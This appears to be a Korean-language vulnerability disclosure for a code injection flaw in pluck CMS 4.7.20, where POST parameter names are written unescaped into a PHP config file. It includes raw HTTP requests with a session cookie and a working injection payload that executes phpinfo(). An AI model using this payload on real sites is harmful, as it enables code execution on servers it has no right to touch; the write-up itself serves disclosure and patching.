
pluck-CMS-4.7.20-코드-인젝션-취약점
admin.php의 module_addtosite 함수는 $_POST 배열 전체를 반복하며, explode('|', ...)를 사용하여 사용자가 제어할 수 있는 매개변수 이름을 분할한 후 이를 data/settings/themes//moduleconf.php에 직접 연결합니다. 이 파일은 이후 백엔드 페이지와 프론트엔드 theme_area() 렌더링 과정에 포함됩니다. 매개변수 이름이 화이트리스트 검증과 보안 이스케이프를 거치지 않았기 때문에, 공격자는 실행 가능한 PHP 파일을 오염시켜 코드 주입 취약점을 유발할 수 있습니다.
프로젝트 주소: https://github.com/pluck-cms/pluck/
재현 환경: pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
먼저 새로운 환경을 설치합니다.
"/login.php" 페이지에 접속하여 관리자 계정으로 로그인하고, 로그인 성공 후 현재 Cookie를 다음과 같이 기록합니다: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11